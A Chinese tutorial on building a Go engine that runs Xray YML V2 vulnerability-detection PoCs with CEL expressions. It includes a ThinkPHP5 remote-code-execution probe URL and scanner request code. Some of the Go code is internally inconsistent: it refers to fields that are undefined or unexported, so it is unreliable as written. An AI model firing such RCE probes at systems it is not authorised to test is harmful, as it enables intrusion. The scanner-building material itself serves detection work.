利用cel-go执行xray yml v2 poc学习
字数 735 2025-08-29 08:32:09

利用CEL-Go执行Xray YML V2 POC学习指南

1. Xray YML V2 POC概述

Xray的YML POC从V1升级到V2版本后,执行流程有了显著变化。主要区别在于:

  • 新增了transport字段:取值范围为tcp、udp、http,使Xray能够探测TCP协议的漏洞
  • 新增了expression字段:改变了V1 POC的执行流程,可利用短路逻辑设计执行流程

V1与V2 POC示例对比

V1版本示例:

name: poc-yaml-thinkphp5-controller-rce
rules:
  - method: GET
    path: /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=printf&vars[1][]=a29hbHIgaXMg%25%25d2F0Y2hpbmcgeW91
    expression: |
            response.body.bcontains(b"a29hbHIgaXMg%d2F0Y2hpbmcgeW9129")
detail:
  links:
    - https://github.com/vulhub/vulhub/tree/master/thinkphp/5-rce

V2版本示例:

name: poc-yaml-thinkphp5-controller-rce
manual: true
transport: http
rules:
    r0:
        request:
            cache: true
            method: GET
            path: /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=printf&vars[1][]=a29hbHIgaXMg%25%25d2F0Y2hpbmcgeW91
        expression: response.body.bcontains(b"a29hbHIgaXMg%d2F0Y2hpbmcgeW9129")
expression: r0()
detail:
    links:
        - https://github.com/vulhub/vulhub/tree/master/thinkphp/5-rce

2. 实现YML POC执行引擎

2.1 反序列化YML文件

首先需要定义POC结构体并将YML文件反序列化:

type Poc struct {
    Name       string            `yaml:"name"`
    Transport  string            `yaml:"transport"`
    Set        map[string]string `yaml:"set"`
    Rules      map[string]Rule   `yaml:"rules"`
    Expression string            `yaml:"expression"`
    Detail     Detail            `yaml:"detail"`
}

type Rule struct {
    Request    RuleRequest `yaml:"request"`
    Expression string      `yaml:"expression"`
}

type RuleRequest struct {
    Cache      bool   `yaml:"cache"`
    method     string `yaml:"method"`
    path       string `yaml:"path"`
    Expression string `yaml:"expression"`
}

type Detail struct {
    Links []string `yaml:"links"`
}

func main() {
    poc := Poc{}
    pocFile, _ := ioutil.ReadFile("poc.yml")
    err := yaml.Unmarshal(pocFile,&poc)
    if err != nil{
        println(err.Error())
    }
    println(pocFile)
}

2.2 处理set全局变量

定义函数处理set表达式并执行:

func execSetExpression(Expression string) (interface{}, error) {
    // 定义set内部函数接口
    setFuncsInterface := cel.Declarations(
        decls.NewFunction("randomInt",
            decls.NewOverload("randomInt_int_int",
                []*exprpb.Type{decls.Int, decls.Int},
                decls.String)),
        decls.NewFunction("randomLowercase",
            decls.NewOverload("randomLowercase_string",
                []*exprpb.Type{decls.Int},
                decls.String)),
    )

    // 实现set内部函数接口
    setFuncsImpl := cel.Functions(
        &functions.Overload{
            Operator: "randomInt_int_int",
            Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
                randSource := rand.New(rand.NewSource(time.Now().UnixNano()))
                min := int(lhs.Value().(int64))
                max := int(rhs.Value().(int64))
                return types.String(strconv.Itoa(min + randSource.Intn(max-min)))
            }},
        &functions.Overload{
            Operator: "randomLowercase_string",
            Unary: func(lhs ref.Val) ref.Val {
                n := lhs.Value().(int64)
                letterBytes := "abcdefghijklmnopqrstuvwxyz"
                randSource := rand.New(rand.NewSource(time.Now().UnixNano()))
                const (
                    letterIdxBits = 6
                    letterIdxMask = 1<<letterIdxBits - 1
                    letterIdxMax  = 63 / letterIdxBits
                )
                randBytes := make([]byte, n)
                for i, cache, remain := n-1, randSource.Int63(), letterIdxMax; i >= 0; {
                    if remain == 0 {
                        cache, remain = randSource.Int63(), letterIdxMax
                    }
                    if idx := int(cache & letterIdxMask); idx < len(letterBytes) {
                        randBytes[i] = letterBytes[idx]
                        i--
                    }
                    cache >>= letterIdxBits
                    remain--
                }
                return types.String(randBytes)
            }},
    )

    // 创建set执行环境
    env, err := cel.NewEnv(setFuncsInterface)
    if err != nil {
        log.Fatalf("environment creation error: %v\n", err)
    }
    ast, iss := env.Compile(Expression)
    if iss.Err() != nil {
        log.Fatalln(iss.Err())
        return nil, iss.Err()
    }
    prg, err := env.Program(ast, setFuncsImpl)
    if err != nil {
        return nil, errors.New(fmt.Sprintf("Program creation error: %v\n", err))
    }
    out, _, err := prg.Eval(map[string]interface{}{})
    if err != nil {
        log.Fatalf("Evaluation error: %v\n", err)
        return nil, errors.New(fmt.Sprintf("Evaluation error: %v\n", err))
    }
    return out, nil
}

2.3 渲染函数处理变量

// 渲染函数 渲染变量到request中
func render(v string, setMap map[string]interface{}) string {
    for k1, v1 := range setMap {
        _, isMap := v1.(map[string]string)
        if isMap {
            continue
        }
        v1Value := fmt.Sprintf("%v", v1)
        t := "{{" + k1 + "}}"
        if !strings.Contains(v, t) {
            continue
        }
        v = strings.ReplaceAll(v, t, v1Value)
    }
    return v
}

2.4 定义Response结构体

使用protobuf定义Response结构体:

syntax = "proto3";
option go_package = "./;structs";
package structs;

message Response {
  bytes body = 1;
}

生成Go文件:

protoc -I . --go_out=. requests.proto

2.5 执行单条rule表达式

func execRuleExpression(Expression string, variableMap map[string]interface{}) bool {
   env, _ := cel.NewEnv(
      cel.Container("structs"),
      cel.Types(&structs.Response{}),
      cel.Declarations(
         decls.NewVar("response", decls.NewObjectType("structs.Response")),
         decls.NewFunction("bcontains",
            decls.NewInstanceOverload("bytes_bcontains_bytes",
               []*exprpb.Type{decls.Bytes, decls.Bytes},
               decls.Bool)),
      ),
   )
   funcImpl := []cel.ProgramOption{
      cel.Functions(
         &functions.Overload{
            Operator: "bytes_bcontains_bytes",
            Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
               v1, ok := lhs.(types.Bytes)
               if !ok {
                  return types.ValOrErr(lhs, "unexpected type '%v' passed to bcontains", lhs.Type())
               }
               v2, ok := rhs.(types.Bytes)
               if !ok {
                  return types.ValOrErr(rhs, "unexpected type '%v' passed to bcontains", rhs.Type())
               }
               return types.Bool(bytes.Contains(v1, v2))
            },
         },
      )}
   ast, iss := env.Compile(Expression)
   if iss.Err() != nil {
      log.Fatalln(iss.Err())
   }
   prg, err := env.Program(ast, funcImpl...)
   if err != nil {
      log.Fatalf("Program creation error: %v\n", err)
   }
   out, _, err := prg.Eval(variableMap)
   if err != nil {
      log.Fatalf("Evaluation error: %v\n", err)
   }
   return out.Value().(bool)
}

2.6 请求处理匿名函数

var RequestsInvoke = func(target string, setMap map[string]interface{}, rule Rule) bool {
    var req *http.Request
    var err error
    if rule.Request.Body == "" {
        req, err = http.NewRequest(rule.Request.Method, target+render(rule.Request.Path, setMap), nil)
    } else {
        req, err = http.NewRequest(rule.Request.Method, target+render(rule.Request.Path, setMap), bytes.NewBufferString(render(rule.Request.Body, setMap)))
    }
    if err != nil {
        log.Println(fmt.Sprintf("http request error: %s", err.Error()))
        return false
    }
    resp, err := http.DefaultClient.Do(req)
    if err != nil {
        println(err.Error())
        return false
    }
    response := &structs.Response{}
    response.Body, _ = ioutil.ReadAll(resp.Body)
    return execRuleExpression(rule.Expression, map[string]interface{}{"response": response})
}

2.7 执行POC Expression

func execPocExpression(target string, setMap map[string]interface{}, Expression string, rules map[string]Rule) bool {
   var funcsInterface []*exprpb.Decl
   var funcsImpl []*functions.Overload
   for key, rule := range rules {
      funcName := key
      funcRule := rule
      funcsInterface = append(funcsInterface, decls.NewFunction(key, decls.NewOverload(key, []*exprpb.Type{}, decls.Bool)))
      funcsImpl = append(funcsImpl,
         &functions.Overload{
            Operator: funcName,
            Function: func(values ...ref.Val) ref.Val {
               return types.Bool(RequestsInvoke(target, setMap, funcRule))
            },
         })
   }
   env, err := cel.NewEnv(cel.Declarations(funcsInterface...))
   if err != nil {
      log.Fatalf("environment creation error: %v\n", err)
   }
   ast, iss := env.Compile(Expression)
   if iss.Err() != nil {
      log.Fatalln(iss.Err())
   }
   prg, err := env.Program(ast, cel.Functions(funcsImpl...))
   if err != nil {
      log.Fatalln(fmt.Sprintf("Program creation error: %v\n", err))
   }
   out, _, err := prg.Eval(map[string]interface{}{})
   return out.Value().(bool)
}

3. 参考资源

  1. CEL-Go官方示例
  2. CEL-Go Codelab教程
  3. 完整项目代码
  4. Xray官方文档

4. 关键点总结

  1. CEL表达式执行:Xray V2 POC使用CEL表达式引擎实现灵活的逻辑判断
  2. 变量渲染机制:通过{{variable}}语法实现请求参数的动态生成
  3. 短路逻辑设计:通过将规则定义为函数,在CEL表达式中实现短路执行
  4. 类型系统集成:使用protobuf定义Response类型并与CEL类型系统集成
  5. 扩展函数实现:通过实现自定义函数如bcontains增强CEL表达能力

通过以上实现,可以构建一个完整的Xray V2 POC执行引擎,支持YML格式的漏洞检测规则解析和执行。

利用CEL-Go执行Xray YML V2 POC学习指南 1. Xray YML V2 POC概述 Xray的YML POC从V1升级到V2版本后,执行流程有了显著变化。主要区别在于: 新增了 transport 字段:取值范围为tcp、udp、http,使Xray能够探测TCP协议的漏洞 新增了 expression 字段:改变了V1 POC的执行流程,可利用短路逻辑设计执行流程 V1与V2 POC示例对比 V1版本示例 : V2版本示例 : 2. 实现YML POC执行引擎 2.1 反序列化YML文件 首先需要定义POC结构体并将YML文件反序列化: 2.2 处理set全局变量 定义函数处理set表达式并执行: 2.3 渲染函数处理变量 2.4 定义Response结构体 使用protobuf定义Response结构体: 生成Go文件: 2.5 执行单条rule表达式 2.6 请求处理匿名函数 2.7 执行POC Expression 3. 参考资源 CEL-Go官方示例 CEL-Go Codelab教程 完整项目代码 Xray官方文档 4. 关键点总结 CEL表达式执行 :Xray V2 POC使用CEL表达式引擎实现灵活的逻辑判断 变量渲染机制 :通过 {{variable}} 语法实现请求参数的动态生成 短路逻辑设计 :通过将规则定义为函数,在CEL表达式中实现短路执行 类型系统集成 :使用protobuf定义Response类型并与CEL类型系统集成 扩展函数实现 :通过实现自定义函数如 bcontains 增强CEL表达能力 通过以上实现,可以构建一个完整的Xray V2 POC执行引擎,支持YML格式的漏洞检测规则解析和执行。